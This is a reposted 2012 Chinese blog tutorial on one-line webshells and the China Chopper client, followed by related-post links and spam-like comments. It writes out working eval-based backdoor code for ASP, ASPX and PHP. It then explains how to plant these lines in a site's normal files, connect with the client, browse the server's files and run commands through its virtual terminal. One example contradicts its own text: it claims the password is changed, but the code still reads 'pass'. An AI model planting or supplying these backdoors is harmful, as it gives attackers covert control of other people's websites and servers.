当前位置:首页 > 随笔 > 正文内容

一句话与中国菜刀的用法

光的传人13年前 (2012-11-15)随笔8328

 注:本文转载,仅用来个人学习。

菜刀是用来连一句话的,asp、aspx、php的一句话菜刀都可以连,只是这几种一句话语句不一样。
asp的一句话是:<%eval request(“pass”)%>
aspx的一句话是:<%@ Page Language=”Jscript”%><%eval(Request.Item["pass"],”unsafe”);%>
php的一句话是:<?php @eval($_POST['pass']);?>
这几个一句话的密码都是pass,也就是双引号或者单引号包含着的这部分,比如我想把asp的一句话的密码改成drvfan,那么改完之后就是这样的:
<%eval request(“pass”)%>
其他同理。
要想连一句话,你首先得把这个一句话插入到一个正常的网站文件中,asp的一句话插入到asp文件里,aspx的一句话插入到aspx文件里,php同理。
当然,你也可以把一句话单独写在一个文件里,比如你新建了一个asp.php文件,这个asp.php文件的全部内容就只有一个一句话,也是可以的。
插入了一句话木马,下面就是连接了。
在菜刀主界面,右击,选择“添加”,
在“地址”这里填上你插入一句话的文件的地址,后边的那个小框填的是你的一句话的密码,其他的可以不用填,
填完之后单击“添加”,就可以了。
添加完毕后,你的这个一句话的shell会显示到菜刀主界面里,鼠标右击它,选择“文件管理”,就可以看到网站上的文件了
所以,使用菜刀,一定要熟练运用一句话
asp的一句话是:<%eval request(“pass”)%>
aspx的一句话是:<%@ Page Language=”Jscript”%><%eval(Request.Item["pass"],”unsafe”);%>
php的一句话是:<?php @eval($_POST['pass']);?>
在菜刀工具里还有一个功能,是“虚拟终端”,也是在右键菜单里的,这个相当于webshell中的执行DOS命令的功能
如果你的shell有权执行DOS命令,那么直接输入命令回车就可以看到结果了

扫描二维码推送至手机访问。

版权声明:本文由光的传人博客www.liu16.com发布,如需转载请注明出处。

本文链接:http://www.liu16.com/post/maicaidao.html

标签: 黑客
分享给朋友:

相关文章

Z-blog Phoenix版本后台文件管理可webshell,其他版本未测

Z-blog Phoenix版本后台文件管理可webshell,其他版本未测

今天体验了一下Z-blog Phoenix版本,后台比2.0版本的强大了许多!可在线安装主题(主题还是太少了,好看的主题更少~),以及更人性化的设置。看到了文件管理,就忍不住测试了下,没想到真的可以webshell~记得有一个大牛在评价某C...

怎样提高网站转换率

怎样提高网站转换率

网站转换率,是一个非常高深的话题,没有经验不敢乱保证的!所以,本文只是主观臆测,仅供参考。所谓网站转换率,说白了就是从你网站上完成交易的人数占总浏览人数的比率。转换率越高,当然说明你网站盈利能力越强,相反就会越差。所以,提高网站转换率是一件...

职来职往,前途宽广!

职来职往,前途宽广!

写在前面的:这是第一次用手机写博客,可能写的不多,但是能保证每天写一篇自己的文章,也算是难能可贵了!还记得上初中的时候为了语文老师布置的一天一篇日记而苦恼么?其实写原创很简单,用心去写,写出自己的想法,每个人对每天发生的种种事情肯定会有想法...

本站友情链接交换细则-PR无要求,长久链接

本站友情链接交换细则-PR无要求,长久链接

 本站现如今PR2(据消息称,今年2013谷歌不会更新PR值了),每天流量几百,以前一直没有主动跟别人交换友情链接,前几天看到一个网友留言说要跟我换友链,我就想到了这样子做友链效率太低,他给你留言说要交换友链,你说可以,要回复,如...

众口难调,春晚还要怎么改革?

众口难调,春晚还要怎么改革?

2014春晚已于昨晚与广大人民群众正式见面,同样是遭到吐槽的吐槽,点赞的点赞,感觉很往年没啥大的变革。神马YIF魔术穿帮,根本停不下来的小彩旗,长腿李那个啥(根本没听说过的一个韩国同志),说话像王宝强的送货员……都被各种网友吐槽评论。我不禁...

QQ微信修改资料提示:由于系统维护,暂时无法修改资料,怎么回事怎么解决

QQ微信修改资料提示:由于系统维护,暂时无法修改资料,怎么回事怎么解决

今天本想着更新一下QQ资料,没想到居然提示:由于系统维护,暂时无法修改资料。难道是网络的问题?用手机版QQ修改,仍然显示“更新资料失败”。到底怎么回事?修改不了资料怎么办?QQ网名,头像,个性签名什么的都改不了了……搜了下资料,发现原来真的...

评论列表

空气源
12年前 (2013-04-07)

php的不懂呀!路过支持一下呗

健康使者
13年前 (2012-12-20)

学习了

女装报告
13年前 (2012-12-11)

这是要教我们啥呀?

智能电网
13年前 (2012-12-06)

鸭梨山大,楼主这篇藐似没看懂

长安婚纱摄影
13年前 (2012-11-30)

鸭梨,太有才了!

南阳金巴黎婚纱摄影
13年前 (2012-11-24)

好,顶

奶茶
13年前 (2012-11-22)

菜刀不但是用来切菜还可以做其他很多东西。。。

wordpress博客主机
13年前 (2012-11-21)

学习了

霍致永博客
13年前 (2012-11-20)

这个标题太震撼啦哈哈欢迎来访

快播电影
13年前 (2012-11-20)

看不懂 PHP了,吐血了

李志红博客
13年前 (2012-11-19)

不是很懂,只来看看。

男装
13年前 (2012-11-19)

看了半天,因为不懂,所以还是没有看懂

比分直播
13年前 (2012-11-16)

来学习了,谢谢分享

润初颜
13年前 (2012-11-16)

php的不懂呀!路过支持一下

发表评论

访客

看不清,换一张

◎欢迎参与讨论,请在这里发表您的看法和观点。